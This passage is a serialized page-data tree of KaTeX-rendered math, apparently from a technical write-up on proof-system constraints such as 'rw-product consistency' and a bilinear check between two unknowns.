6},[21485],[118698],{"type":29,"value":21488},{"type":24,"tag":83,"props":118700,"children":118702},{"className":118701},[3779],[118703],{"type":24,"tag":83,"props":118704,"children":118706},{"className":118705,"style":113818},[3784],[118707],{"type":24,"tag":83,"props":118708,"children":118709},{},[],{"type":24,"tag":83,"props":118711,"children":118713},{"className":118712,"style":3872},[3833],[],{"type":24,"tag":83,"props":118715,"children":118717},{"className":118716},[3753],[118718,118723],{"type":24,"tag":83,"props":118719,"children":118721},{"className":118720,"style":114668},[3753,21328],[118722],{"type":29,"value":114671},{"type":24,"tag":83,"props":118724,"children":118726},{"className":118725},[3769],[118727],{"type":24,"tag":83,"props":118728,"children":118730},{"className":118729},[3774],[118731],{"type":24,"tag":83,"props":118732,"children":118734},{"className":118733},[3779],[118735],{"type":24,"tag":83,"props":118736,"children":118739},{"className":118737,"style":118738},[3784],"height:0.8247em;",[118740],{"type":24,"tag":83,"props":118741,"children":118742},{"style":3788},[118743,118747],{"type":24,"tag":83,"props":118744,"children":118746},{"className":118745,"style":3794},[3793],[],{"type":24,"tag":83,"props":118748,"children":118750},{"className":118749},[3799,3800,3801,3802],[118751],{"type":24,"tag":83,"props":118752,"children":118754},{"className":118753,"style":113803},[3753,21328,3802],[118755],{"type":29,"value":8401},{"type":24,"tag":83,"props":118757,"children":118759},{"className":118758,"style":3834},[3833],[],{"type":24,"tag":83,"props":118761,"children":118763},{"className":118762},[3839],[118764],{"type":29,"value":110842},{"type":24,"tag":83,"props":118766,"children":118768},{"className":118767,"style":3834},[3833],[],{"type":24,"tag":83,"props":118770,"children":118772},{"className":118771},[3742],[118773,118777,118786,118791],{"type":24,"tag":83,"props":118774,"children":118776},{"className":118775,"style":94173},[3747],[],{"type":24,"tag":83,"props":118778,"children":118780},{"className":118779},[3753,29],[118781],{"type":24,"tag":83,"props":118782,"children":118784},{"className":118783},[3753],[118785],{"type":29,"value":118254},{"type":24,"tag":83,"props":118787,"children":118789},{"className":118788,"style":92760},[3753],[118790],{"type":29,"value":2827},{"type":24,"tag":83,"props":118792,"children":118794},{"className":118793},[3753],[118795,118804],{"type":24,"tag":83,"props":118796,"children":118798},{"className":118797},[3753,29],[118799],{"type":24,"tag":83,"props":118800,"children":118802},{"className":118801},[3753],[118803],{"type":29,"value":118273},{"type":24,"tag":83,"props":118805,"children":118807},{"className":118806},[3769],[118808],{"type":24,"tag":83,"props":118809,"children":118811},{"className":118810},[3774,21382],[118812,118841],{"type":24,"tag":83,"props":118813,"children":118815},{"className":118814},[3779],[118816,118836],{"type":24,"tag":83,"props":118817,"children":118819},{"className":118818,"style":93289},[3784],[118820],{"type":24,"tag":83,"props":118821,"children":118822},{"style":113710},[118823,118827],{"type":24,"tag":83,"props":118824,"children":118826},{"className":118825,"style":3794},[3793],[],{"type":24,"tag":83,"props":118828,"children":118830},{"className":118829},[3799,3800,3801,3802],[118831],{"type":24,"tag":83,"props":118832,"children":118834},{"className":118833,"style":113803},[3753,21328,3802],[118835],{"type":29,"value":8401},{"type":24,"tag":83,"props":118837,"children":118839},{"className":118838},[21485],[118840],{"type":29,"value":21488},{"type":24,"tag":83,"props":118842,"children":118844},{"className":118843},[3779],[118845],{"type":24,"tag":83,"props":118846,"children":118848},{"className":118847,"style":118490},[3784],[118849],{"type":24,"tag":83,"props":118850,"children":118851},{},[],{"type":24,"tag":25,"props":118853,"children":118854},{},[118855,118857,118862],{"type":29,"value":118856},"This check is linear in ",{"type":24,"tag":32,"props":118858,"children":118860},{"className":118859},[],[118861],{"type":29,"value":118594},{"type":29,"value":161},{"type":24,"tag":63,"props":118864,"children":118865},{"start":113},[118866],{"type":24,"tag":67,"props":118867,"children":118868},{},[118869,118874,118876,118881],{"type":24,"tag":2040,"props":118870,"children":118871},{},[118872],{"type":29,"value":118873},"rw-product consistency",{"type":29,"value":118875}," (bilinear in ",{"type":24,"tag":32,"props":118877,"children":118879},{"className":118878},[],[118880],{"type":29,"value":118594},{"type":29,"value":23696},{"type":24,"tag":25,"props":118883,"children":118884},{},[118885],{"type":24,"tag":32,"props":118886,"children":118888},{"className":118887},[3726,3727],[118889],{"type":24,"tag":83,"props":118890,"children":118892},{"className":118891},[3732],[118893],{"type":24,"tag":83,"props":118894,"children":118896},{"className":118895,"ariaHidden":1237},[3737],[118897,119068,119239],{"type":24,"tag":83,"props":118898,"children":118900},{"className":118899},[3742],[118901,118905,118962,118966,118975,118980,118989,118994,119055,119059,119064],{"type":24,"tag":83,"props":118902,"children":118904},{"className":118903,"style":92702},[3747],[],{"type":24,"tag":83,"props":118906,"children":118908},{"className":118907},[21364],[118909,118914],{"type":24,"tag":83,"props":118910,"children":118912},{"className":118911,"style":21371},[21364,21369,21370],[118913],{"type":29,"value":118178},{"type":24,"tag":83,"props":118915,"children":118917},{"className":118916},[3769],[118918],{"type":24,"tag":83,"props":118919,"children":118921},{"className":118920},[3774,21382],[118922,118951],{"type":24,"tag":83,"props":118923,"children":118925},{"className":118924},[3779],[118926,118946],{"type":24,"tag":83,"props":118927,"children":118929},{"className":118928,"style":113787},[3784],[118930],{"type":24,"tag":83,"props":118931,"children":118932},{"style":21395},[118933,118937],{"type":24,"tag":83,"props":118934,"children":118936},{"className":118935,"style":3794},[3793],[],{"type":24,"tag":83,"props":118938,"children":118940},{"className":118939},[3799,3800,3801,3802],[118941],{"type":24,"tag":83,"props":118942,"children":118944},{"className":118943},[3753,21328,3802],[118945],{"type":29,"value":3482},{"type":24,"tag":83,"props":118947,"children":118949},{"className":118948},[21485],[118950],{"type":29,"value":21488},{"type":24,"tag":83,"props":118952,"children":118954},{"className":118953},[3779],[118955],{"type":24,"tag":83,"props":118956,"children":118958},{"className":118957,"style":114067},[3784],[118959],{"type":24,"tag":83,"props":118960,"children":118961},{},[],{"type":24,"tag":83,"props":118963,"children":118965},{"className":118964,"style":3872},[3833],[],{"type":24,"tag":83,"props":118967,"children":118969},{"className":118968},[3753,29],[118970],{"type":24,"tag":83,"props":118971,"children":118973},{"className":118972},[3753],[118974],{"type":29,"value":93579},{"type":24,"tag":83,"props":118976,"children":118978},{"className":118977,"style":92760},[3753],[118979],{"type":29,"value":2827},{"type":24,"tag":83,"props":118981,"children":118983},{"className":118982},[3753,29],[118984],{"type":24,"tag":83,"props":118985,"children":118987},{"className":118986},[3753],[118988],{"type":29,"value":118254},{"type":24,"tag":83,"props":118990,"children":118992},{"className":118991,"style":92760},[3753],[118993],{"type":29,"value":2827},{"type":24,"tag":83,"props":118995,"children":118997},{"className":118996},[3753],[118998,119007],{"type":24,"tag":83,"props":118999,"children":119001},{"className":119000},[3753,29],[119002],{"type":24,"tag":83,"props":119003,"children":119005},{"className":119004},[3753],[119006],{"type":29,"value":118273},{"type":24,"tag":83,"props":119008,"children":119010},{"className":119009},[3769],[119011],{"type":24,"tag":83,"props":119012,"children":119014},{"className":119013},[3774,21382],[119015,119044],{"type":24,"tag":83,"props":119016,"children":119018},{"className":119017},[3779],[119019,119039],{"type":24,"tag":83,"props":119020,"children":119022},{"className":119021,"style":93289},[3784],[119023],{"type":24,"tag":83,"props":119024,"children":119025},{"style":113710},[119026,119030],{"type":24,"tag":83,"props":119027,"children":119029},{"className":119028,"style":3794},[3793],[],{"type":24,"tag":83,"props":119031,"children":119033},{"className":119032},[3799,3800,3801,3802],[119034],{"type":24,"tag":83,"props":119035,"children":119037},{"className":119036},[3753,21328,3802],[119038],{"type":29,"value":3482},{"type":24,"tag":83,"props":119040,"children":119042},{"className":119041},[21485],[119043],{"type":29,"value":21488},{"type":24,"tag":83,"props":119045,"children":119047},{"className":119046},[3779],[119048],{"type":24,"tag":83,"props":119049,"children":119051},{"className":119050,"style":92843},[3784],[119052],{"type":24,"tag":83,"props":119053,"children":119054},{},[],{"type":24,"tag":83,"props":119056,"children":119058},{"className":119057,"style":3931},[3833],[],{"type":24,"tag":83,"props":119060,"children":119062},{"className":119061},[3936],[119063],{"type":29,"value":1275},{"type":24,"tag":83,"props":119065,"children":119067},{"className":119066,"style":3931},[3833],[],{"type":24,"tag":83,"props":119069,"children":119071},{"className":119070},[3742],[119072,119076,119133,119137,119146,119151,119160,119165,119226,119230,119235],{"type":24,"tag":83,"props":119073,"children":119075},{"className":119074,"style":118342},[3747],[],{"type":24,"tag":83,"props":119077,"children":119079},{"className":119078},[21364],[119080,119085],{"type":24,"tag":83,"props":119081,"children":119083},{"className":119082,"style":21371},[21364,21369,21370],[119084],{"type":29,"value":118178},{"type":24,"tag":83,"props":119086,"children":119088},{"className":119087},[3769],[119089],{"type":24,"tag":83,"props":119090,"children":119092},{"className":119091},[3774,21382],[119093,119122],{"type":24,"tag":83,"props":119094,"children":119096},{"className":119095},[3779],[119097,119117],{"type":24,"tag":83,"props":119098,"children":119100},{"className":119099,"style":113787},[3784],[119101],{"type":24,"tag":83,"props":119102,"children":119103},{"style":21395},[119104,119108],{"type":24,"tag":83,"props":119105,"children":119107},{"className":119106,"style":3794},[3793],[],{"type":24,"tag":83,"props":119109,"children":119111},{"className":119110},[3799,3800,3801,3802],[119112],{"type":24,"tag":83,"props":119113,"children":119115},{"className":119114,"style":113803},[3753,21328,3802],[119116],{"type":29,"value":8401},{"type":24,"tag":83,"props":119118,"children":119120},{"className":119119},[21485],[119121],{"type":29,"value":21488},{"type":24,"tag":83,"props":119123,"children":119125},{"className":119124},[3779],[119126],{"type":24,"tag":83,"props":119127,"children":119129},{"className":119128,"style":113818},[3784],[119130],{"type":24,"tag":83,"props":119131,"children":119132},{},[],{"type":24,"tag":83,"props":119134,"children":119136},{"className":119135,"style":3872},[3833],[],{"type":24,"tag":83,"props":119138,"children":119140},{"className":119139},[3753,29],[119141],{"type":24,"tag":83,"props":119142,"children":119144},{"className":119143},[3753],[119145],{"type":29,"value":49288},{"type":24,"tag":83,"props":119147,"children":119149},{"className":119148,"style":92760},[3753],[119150],{"type":29,"value":2827},{"type":24,"tag":83,"props":119152,"children":119154},{"className":119153},[3753,29],[119155],{"type":24,"tag":83,"props":119156,"children":119158},{"className":119157},[3753],[119159],{"type":29,"value":118254},{"type":24,"tag":83,"props":119161,"children":119163},{"className":119162,"style":92760},[3753],[119164],{"type":29,"value":2827},{"type":24,"tag":83,"props":119166,"children":119168},{"className":119167},[3753],[119169,119178],{"type":24,"tag":83,"props":119170,"children":119172},{"className":119171},[3753,29],[119173],{"type":24,"tag":83,"props":119174,"children":119176},{"className":119175},[3753],[119177],{"type":29,"value":118273},{"type":24,"tag":83,"props":119179,"children":119181},{"className":119180},[3769],[119182],{"type":24,"tag":83,"props":119183,"children":119185},{"className":119184},[3774,21382],[119186,119215],{"type":24,"tag":83,"props":119187,"children":119189},{"className":119188},[3779],[119190,119210],{"type":24,"tag":83,"props":119191,"children":119193},{"className":119192,"style":93289},[3784],[119194],{"type":24,"tag":83,"props":119195,"children":119196},{"style":113710},[119197,119201],{"type":24,"tag":83,"props":119198,"children":119200},{"className":119199,"style":3794},[3793],[],{"type":24,"tag":83,"props":119202,"children":119204},{"className":119203},[3799,3800,3801,3802],[119205],{"type":24,"tag":83,"props":119206,"children":119208},{"className":119207,"style":113803},[3753,21328,3802],[119209],{"type":29,"value":8401},{"type":24,"tag":83,"props":119211,"children":119213},{"className":119212},[21485],[119214],{"type":29,"value":21488},{"type":24,"tag":83,"props":119216,"children":119218},{"className":119217},[3779],[119219],{"type":24,"tag":83,"props":119220,"children":119222},{"className":119221,"style":118490},[3784],[119223],{"type":24,"tag":83,"props":119224,"children":119225},{},[],{"type":24,"tag":83,"props":119227,"children":119229},{"className":119228,"style":3834},[3833],[],{"type":24,"tag":83,"props":119231,"children":119233},{"className":119232},[3839],[119234],{"type":29,"value":110842},{"type":24,"tag":83,"props":119236,"children":119238},{"className":119237,"style":3834},[3833],[],{"type":24,"tag":83,"props":119240,"children":119242},{"className":119241},[3742],[119243,119247,119252,119261],{"type":24,"tag":83,"props":119244,"children":119246},{"className":119245,"style":3854},[3747],[],{"type":24,"tag":83,"props":119248,"children":119250},{"className":119249},[21457],[119251],{"type":29,"value":558},{"type":24,"tag":83,"props":119253,"children":119255},{"className":119254},[3753,29],[119256],{"type":24,"tag":83,"props":119257,"children":119259},{"className":119258},[3753],[119260],{"type":29,"value":118530},{"type":24,"tag":83,"props":119262,"children":119264},{"className":119263},[21479],[119265],{"type":29,"value":2872},{"type":24,"tag":25,"props":119267,"children":119268},{},[119269,119271,119440,119441,119610],{"type":29,"value":119270},"If we vary ",{"type":24,"tag":32,"props":119272,"children":119274},{"className":119273},[3726,3727],[119275],{"type":24,"tag":83,"props":119276,"children":119278},{"className":119277},[3732],[119279],{"type":24,"tag":83,"props":119280,"children":119282},{"className":119281,"ariaHidden":1237},[3737],[119283,119361],{"type":24,"tag":83,"props":119284,"children":119286},{"className":119285},[3742],[119287,119291,119348,119352,119357],{"type":24,"tag":83,"props":119288,"children":119290},{"className":119289,"style":109550},[3747],[],{"type":24,"tag":83,"props":119292,"children":119294},{"className":119293},[3753],[119295,119300],{"type":24,"tag":83,"props":119296,"children":119298},{"className":119297},[3753,21328],[119299],{"type":29,"value":19015},{"type":24,"tag":83,"props":119301,"children":119303},{"className":119302},[3769],[119304],{"type":24,"tag":83,"props":119305,"children":119307},{"className":119306},[3774,21382],[119308,119337],{"type":24,"tag":83,"props":119309,"children":119311},{"className":119310},[3779],[119312,119332],{"type":24,"tag":83,"props":119313,"children":119315},{"className":119314,"style":92812},[3784],[119316],{"type":24,"tag":83,"props":119317,"children":119318},{"style":92816},[119319,119323],{"type":24,"tag":83,"props":119320,"children":119322},{"className":119321,"style":3794},[3793],[],{"type":24,"tag":83,"props":119324,"children":119326},{"className":119325},[3799,3800,3801,3802],[119327],{"type":24,"tag":83,"props":119328,"children":119330},{"className":119329},[3753,3802],[119331],{"type":29,"value":1166},{"type":24,"tag":83,"props":119333,"children":119335},{"className":119334},[21485],[119336],{"type":29,"value":21488},{"type":24,"tag":83,"props":119338,"children":119340},{"className":119339},[3779],[119341],{"type":24,"tag":83,"props":119342,"children":119344},{"className":119343,"style":92843},[3784],[119345],{"type":24,"tag":83,"props":119346,"children":119347},{},[],{"type":24,"tag":83,"props":119349,"children":119351},{"className":119350,"style":3931},[3833],[],{"type":24,"tag":83,"props":119353,"children":119355},{"className":119354},[3936],[119356],{"type":29,"value":1275},{"type":24,"tag":83,"props":119358,"children":119360},{"className":119359,"style":3931},[3833],[],{"type":24,"tag":83,"props":119362,"children":119364},{"className":119363},[3742],[119365,119369,119410,119415,119420,119425,119430,119435],{"type":24,"tag":83,"props":119366,"children":119368},{"className":119367,"style":92702},[3747],[],{"type":24,"tag":83,"props":119370,"children":119372},{"className":119371},[3753],[119373,119382,119387,119396,119401],{"type":24,"tag":83,"props":119374,"children":119376},{"className":119375},[3753,29],[119377],{"type":24,"tag":83,"props":119378,"children":119380},{"className":119379},[3753],[119381],{"type":29,"value":93579},{"type":24,"tag":83,"props":119383,"children":119385},{"className":119384,"style":92760},[3753],[119386],{"type":29,"value":2827},{"type":24,"tag":83,"props":119388,"children":119390},{"className":119389},[3753,29],[119391],{"type":24,"tag":83,"props":119392,"children":119394},{"className":119393},[3753],[119395],{"type":29,"value":118254},{"type":24,"tag":83,"props":119397,"children":119399},{"className":119398,"style":92760},[3753],[119400],{"type":29,"value":2827},{"type":24,"tag":83,"props":119402,"children":119404},{"className":119403},[3753,29],[119405],{"type":24,"tag":83,"props":119406,"children":119408},{"className":119407},[3753],[119409],{"type":29,"value":118273},{"type":24,"tag":83,"props":119411,"children":119413},{"className":119412},[21457],[119414],{"type":29,"value":1161},{"type":24,"tag":83,"props":119416,"children":119418},{"className":119417},[3753],[119419],{"type":29,"value":1166},{"type":24,"tag":83,"props":119421,"children":119423},{"className":119422},[21479],[119424],{"type":29,"value":15151},{"type":24,"tag":83,"props":119426,"children":119428},{"className":119427},[21457],[119429],{"type":29,"value":1161},{"type":24,"tag":83,"props":119431,"children":119433},{"className":119432},[3753],[119434],{"type":29,"value":1166},{"type":24,"tag":83,"props":119436,"children":119438},{"className":119437},[21479],[119439],{"type":29,"value":15151},{"type":29,"value":2287},{"type":24,"tag":32,"props":119442,"children":119444},{"className":119443},[3726,3727],[119445],{"type":24,"tag":83,"props":119446,"children":119448},{"className":119447},[3732],[119449],{"type":24,"tag":83,"props":119450,"children":119452},{"className":119451,"ariaHidden":1237},[3737],[119453,119531],{"type":24,"tag":83,"props":119454,"children":119456},{"className":119455},[3742],[119457,119461,119518,119522,119527],{"type":24,"tag":83,"props":119458,"children":119460},{"className":119459,"style":109550},[3747],[],{"type":24,"tag":83,"props":119462,"children":119464},{"className":119463},[3753],[119465,119470],{"type":24,"tag":83,"props":119466,"children":119468},{"className":119467},[3753,21328],[119469],{"type":29,"value":19015},{"type":24,"tag":83,"props":119471,"children":119473},{"className":119472},[3769],[119474],{"type":24,"tag":83,"props":119475,"children":119477},{"className":119476},[3774,21382],[119478,119507],{"type":24,"tag":83,"props":119479,"children":119481},{"className":119480},[3779],[119482,119502],{"type":24,"tag":83,"props":119483,"children":119485},{"className":119484,"style":92812},[3784],[119486],{"type":24,"tag":83,"props":119487,"children":119488},{"style":92816},[119489,119493],{"type":24,"tag":83,"props":119490,"children":119492},{"className":119491,"style":3794},[3793],[],{"type":24,"tag":83,"props":119494,"children":119496},{"className":119495},[3799,3800,3801,3802],[119497],{"type":24,"tag":83,"props":119498,"children":119500},{"className":119499},[3753,3802],[119501],{"type":29,"value":3756},{"type":24,"tag":83,"props":119503,"children":119505},{"className":119504},[21485],[119506],{"type":29,"value":21488},{"type":24,"tag":83,"props":119508,"children":119510},{"className":119509},[3779],[119511],{"type":24,"tag":83,"props":119512,"children":119514},{"className":119513,"style":92843},[3784],[119515],{"type":24,"tag":83,"props":119516,"children":119517},{},[],{"type":24,"tag":83,"props":119519,"children":119521},{"className":119520,"style":3931},[3833],[],{"type":24,"tag":83,"props":119523,"children":119525},{"className":119524},[3936],[119526],{"type":29,"value":1275},{"type":24,"tag":83,"props":119528,"children":119530},{"className":119529,"style":3931},[3833],[],{"type":24,"tag":83,"props":119532,"children":119534},{"className":119533},[3742],[119535,119539,119580,119585,119590,119595,119600,119605],{"type":24,"tag":83,"props":119536,"children":119538},{"className":119537,"style":92702},[3747],[],{"type":24,"tag":83,"props":119540,"children":119542},{"className":119541},[3753],[119543,119552,119557,119566,119571],{"type":24,"tag":83,"props":119544,"children":119546},{"className":119545},[3753,29],[119547],{"type":24,"tag":83,"props":119548,"children":119550},{"className":119549},[3753],[119551],{"type":29,"value":93579},{"type":24,"tag":83,"props":119553,"children":119555},{"className":119554,"style":92760},[3753],[119556],{"type":29,"value":2827},{"type":24,"tag":83,"props":119558,"children":119560},{"className":119559},[3753,29],[119561],{"type":24,"tag":83,"props":119562,"children":119564},{"className":119563},[3753],[119565],{"type":29,"value":118254},{"type":24,"tag":83,"props":119567,"children":119569},{"className":119568,"style":92760},[3753],[119570],{"type":29,"value":2827},{"type":24,"tag":83,"props":119572,"children":119574},{"className":119573},[3753,29],[119575],{"type":24,"tag":83,"props":119576,"children":119578},{"className":119577},[3753],[119579],{"type":29,"value":118273},{"type":24,"tag":83,"props":119581,"children":119583},{"className":119582},[21457],[119584],{"type":29,"value":1161},{"type":24,"tag":83,"props":119586,"children":119588},{"className":119587},[3753],[119589],{"type":29,"value":1166},{"type":24,"tag":83,"props":119591,"children":119593},{"className":119592},[21479],[119594],{"type":29,"value":15151},{"type":24,"tag":83,"props":119596,"children":119598},{"className":119597},[21457],[119599],{"type":29,"value":1161},{"type":24,"tag":83,"props":119601,"children":119603},{"className":119602},[3753],[119604],{"type":29,"value":3756},{"type":24,"tag":83,"props":119606,"children":119608},{"className":119607},[21479],[119609],{"type":29,"value":15151},{"type":29,"value":119611}," we get the following constraint:",{"type":24,"tag":25,"props":119613,"children":119614},{},[119615],{"type":24,"tag":32,"props":119616,"children":119618},{"className":119617},[3726,3727],[119619],{"type":24,"tag":83,"props":119620,"children":119622},{"className":119621},[3732],[119623],{"type":24,"tag":83,"props":119624,"children":119626},{"className":119625,"ariaHidden":1237},[3737],[119627,119706,119784,119825],{"type":24,"tag":83,"props":119628,"children":119630},{"className":119629},[3742],[119631,119636,119693,119697,119702],{"type":24,"tag":83,"props":119632,"children":119635},{"className":119633,"style":119634},[3747],"height:0.5945em;vertical-align:-0.15em;",[],{"type":24,"tag":83,"props":119637,"children":119639},{"className":119638},[3753],[119640,119645],{"type":24,"tag":83,"props":119641,"children":119643},{"className":119642},[3753,21328],[119644],{"type":29,"value":19015},{"type":24,"tag":83,"props":119646,"children":119648},{"className":119647},[3769],[119649],{"type":24,"tag":83,"props":119650,"children":119652},{"className":119651},[3774,21382],[119653,119682],{"type":24,"tag":83,"props":119654,"children":119656},{"className":119655},[3779],[119657,119677],{"type":24,"tag":83,"props":119658,"children":119660},{"className":119659,"style":92812},[3784],[119661],{"type":24,"tag":83,"props":119662,"children":119663},{"style":92816},[119664,119668],{"type":24,"tag":83,"props":119665,"children":119667},{"className":119666,"style":3794},[3793],[],{"type":24,"tag":83,"props":119669,"children":119671},{"className":119670},[3799,3800,3801,3802],[119672],{"type":24,"tag":83,"props":119673,"children":119675},{"className":119674},[3753,3802],[119676],{"type":29,"value":1166},{"type":24,"tag":83,"props":119678,"children":119680},{"className":119679},[21485],[119681],{"type":29,"value":21488},{"type":24,"tag":83,"props":119683,"children":119685},{"className":119684},[3779],[119686],{"type":24,"tag":83,"props":119687,"children":119689},{"className":119688,"style":92843},[3784],[119690],{"type":24,"tag":83,"props":119691,"children":119692},{},[],{"type":24,"tag":83,"props":119694,"children":119696},{"className":119695,"style":3834},[3833],[],{"type":24,"tag":83,"props":119698,"children":119700},{"className":119699},[3839],[119701],{"type":29,"value":110842},{"type":24,"tag":83,"props":119703,"children":119705},{"className":119704,"style":3834},[3833],[],{"type":24,"tag":83,"props":119707,"children":119709},{"className":119708},[3742],[119710,119714,119771,119775,119780],{"type":24,"tag":83,"props":119711,"children":119713},{"className":119712,"style":119634},[3747],[],{"type":24,"tag":83,"props":119715,"children":119717},{"className":119716},[3753],[119718,119723],{"type":24,"tag":83,"props":119719,"children":119721},{"className":119720},[3753,21328],[119722],{"type":29,"value":19015},{"type":24,"tag":83,"props":119724,"children":119726},{"className":119725},[3769],[119727],{"type":24,"tag":83,"props":119728,"children":119730},{"className":119729},[3774,21382],[119731,119760],{"type":24,"tag":83,"props":119732,"children":119734},{"className":119733},[3779],[119735,119755],{"type":24,"tag":83,"props":119736,"children":119738},{"className":119737,"style":92812},[3784],[119739],{"type":24,"tag":83,"props":119740,"children":119741},{"style":92816},[119742,119746],{"type":24,"tag":83,"props":119743,"children":119745},{"className":119744,"style":3794},[3793],[],{"type":24,"tag":83,"props":119747,"children":119749},{"className":119748},[3799,3800,3801,3802],[119750],{"type":24,"tag":83,"props":119751,"children":119753},{"className":119752},[3753,3802],[119754],{"type":29,"value":3756},{"type":24,"tag":83,"props":119756,"children":119758},{"className":119757},[21485],[119759],{"type":29,"value":21488},{"type":24,"tag":83,"props":119761,"children":119763},{"className":119762},[3779],[119764],{"type":24,"tag":83,"props":119765,"children":119767},{"className":119766,"style":92843},[3784],[119768],{"type":24,"tag":83,"props":119769,"children":119770},{},[],{"type":24,"tag":83,"props":119772,"children":119774},{"className":119773,"style":3834},[3833],[],{"type":24,"tag":83,"props":119776,"children":119778},{"className":119777},[3839],[119779],{"type":29,"value":110842},{"type":24,"tag":83,"props":119781,"children":119783},{"className":119782,"style":3834},[3833],[],{"type":24,"tag":83,"props":119785,"children":119787},{"className":119786},[3742],[119788,119792,119797,119807,119812,119816,119821],{"type":24,"tag":83,"props":119789,"children":119791},{"className":119790,"style":3854},[3747],[],{"type":24,"tag":83,"props":119793,"children":119795},{"className":119794},[21457],[119796],{"type":29,"value":558},{"type":24,"tag":83,"props":119798,"children":119800},{"className":119799},[3753,29],[119801],{"type":24,"tag":83,"props":119802,"children":119804},{"className":119803},[3753],[119805],{"type":29,"value":119806},"rest of product",{"type":24,"tag":83,"props":119808,"children":119810},{"className":119809},[21479],[119811],{"type":29,"value":2872},{"type":24,"tag":83,"props":119813,"children":119815},{"className":119814,"style":3931},[3833],[],{"type":24,"tag":83,"props":119817,"children":119819},{"className":119818},[3936],[119820],{"type":29,"value":1275},{"type":24,"tag":83,"props":119822,"children":119824},{"className":119823,"style":3931},[3833],[],{"type":24,"tag":83,"props":119826,"children":119828},{"className":119827},[3742],[119829,119833],{"type":24,"tag":83,"props":119830,"children":119832},{"className":119831,"style":114600},[3747],[],{"type":24,"tag":83,"props":119834,"children":119836},{"className":119835},[3753,29],[119837],{"type":24,"tag":83,"props":119838,"children":119840},{"className":119839},[3753],[119841],{"type":29,"value":114611},{"type":24,"tag":25,"props":119843,"children":119844},{},[119845,119847,120000],{"type":29,"value":119846},"This is bilinear in ",{"type":24,"tag":32,"props":119848,"children":119850},{"className":119849},[3726,3727],[119851],{"type":24,"tag":83,"props":119852,"children":119854},{"className":119853},[3732],[119855],{"type":24,"tag":83,"props":119856,"children":119858},{"className":119857,"ariaHidden":1237},[3737],[119859],{"type":24,"tag":83,"props":119860,"children":119862},{"className":119861},[3742],[119863,119867,119872,119929,119934,119938,119995],{"type":24,"tag":83,"props":119864,"children":119866},{"className":119865,"style":3854},[3747],[],{"type":24,"tag":83,"props":119868,"children":119870},{"className":119869},[21457],[119871],{"type":29,"value":558},{"type":24,"tag":83,"props":119873,"children":119875},{"className":119874},[3753],[119876,119881],{"type":24,"tag":83,"props":119877,"children":119879},{"className":119878},[3753,21328],[119880],{"type":29,"value":19015},{"type":24,"tag":83,"props":119882,"children":119884},{"className":119883},[3769],[119885],{"type":24,"tag":83,"props":119886,"children":119888},{"className":119887},[3774,21382],[119889,119918],{"type":24,"tag":83,"props":119890,"children":119892},{"className":119891},[3779],[119893,119913],{"type":24,"tag":83,"props":119894,"children":119896},{"className":119895,"style":92812},[3784],[119897],{"type":24,"tag":83,"props":119898,"children":119899},{"style":92816},[119900,119904],{"type":24,"tag":83,"props":119901,"children":119903},{"className":119902,"style":3794},[3793],[],{"type":24,"tag":83,"props":119905,"children":119907},{"className":119906},[3799,3800,3801,3802],[119908],{"type":24,"tag":83,"props":119909,"children":119911},{"className":119910},[3753,3802],[119912],{"type":29,"value":1166},{"type":24,"tag":83,"props":119914,"children":119916},{"className":119915},[21485],[119917],{"type":29,"value":21488},{"type":24,"tag":83,"props":119919,"children":119921},{"className":119920},[3779],[119922],{"type":24,"tag":83,"props":119923,"children":119925},{"className":119924,"style":92843},[3784],[119926],{"type":24,"tag":83,"props":119927,"children":119928},{},[],{"type":24,"tag":83,"props":119930,"children":119932},{"className":119931},[3865],[119933],{"type":29,"value":3868},{"type":24,"tag":83,"props":119935,"children":119937},{"className":119936,"style":3872},[3833],[],{"type":24,"tag":83,"props":119939,"children":119941},{"className":119940},[3753],[119942,119947],{"type":24,"tag":83,"props":119943,"children":119945},{"className":119944},[3753,21328],[119946],{"type":29,"value":19015},{"type":24,"tag":83,"props":119948,"children":119950},{"className":119949},[3769],[119951],{"type":24,"tag":83,"props":119952,"children":119954},{"className":119953},[3774,21382],[119955,119984],{"type":24,"tag":83,"props":119956,"children":119958},{"className":119957},[3779],[119959,119979],{"type":24,"tag":83,"props":119960,"children":119962},{"className":119961,"style":92812},[3784],[119963],{"type":24,"tag":83,"props":119964,"children":119965},{"style":92816},[119966,119970],{"type":24,"tag":83,"props":119967,"children":119969},{"className":119968,"style":3794},[3793],[],{"type":24,"tag":83,"props":119971,"children":119973},{"className":119972},[3799,3800,3801,3802],[119974],{"type":24,"tag":83,"props":119975,"children":119977},{"className":119976},[3753,3802],[119978],{"type":29,"value":3756},{"type":24,"tag":83,"props":119980,"children":119982},{"className":119981},[21485],[119983],{"type":29,"value":21488},{"type":24,"tag":83,"props":119985,"children":119987},{"className":119986},[3779],[119988],{"type":24,"tag":83,"props":119989,"children":119991},{"className":119990,"style":92843},[3784],[119992],{"type":24,"tag":83,"props":119993,"children":119994},{},[],{"type":24,"tag":83,"props":119996,"children":119998},{"className":119997},[21479],[119999],{"type":29,"value":2872},{"type":29,"value":161},{"type":24,"tag":25,"props":120002,"children":120003},{},[120004,120006,120159],{"type":29,"value":120005},"We have two unknowns ",{"type":24,"tag":32,"props":120007,"children":120009},{"className":120008},[3726,3727],[120010],{"type":24,"tag":83,"props":120011,"children":120013},{"className":120012},[3732],[120014],{"type":24,"tag":83,"props":120015,"children":120017},{"className":120016,"ariaHidden":1237},[3737],[120018],{"type":24,"tag":83,"props":120019,"children":120021},{"className":120020},[3742],[120022,120026,120031,120088,120093,120097,120154],{"type":24,"tag":83,"props":120023,"children":120025},{"className":120024,"style":3854},[3747],[],{"type":24,"tag":83,"props":120027,"children":120029},{"className":120028},[21457],[120030],{"type":29,"value":558},{"type":24,"tag":83,"props":120032,"children":120034},{"className":120033},[3753],[120035,120040],{"type":24,"tag":83,"props":120036,"children":120038},{"className":120037},[3753,21328],[120039],{"type":29,"value":19015},{"type":24,"tag":83,"props":120041,"children":120043},{"className":120042},[3769],[120044],{"type":24,"tag":83,"props":120045,"children":120047},{"className":120046},[3774,21382],[120048,120077],{"type":24,"tag":83,"props":120049,"children":120051},{"className":120050},[3779],[120052,120072],{"type":24,"tag":83,"props":120053,"children":120055},{"className":120054,"style":92812},[3784],[120056],{"type":24,"tag":83,"props":120057,"children":120058},{"style":92816},[120059,120063],{"type":24,"tag":83,"props":120060,"children":120062},{"className":120061,"style":3794},[3793],[],{"type":24,"tag":83,"props":120064,"children":120066},{"className":120065},[3799,3800,3801,3802],[120067],{"type":24,"tag":83,"props":120068,"children":120070},{"className":120069},[3753,3802],[120071],{"type":29,"value":1166},{"type":24,"tag":83,"props":120073,"children":120075},{"className":120074},[21485],[120076],{"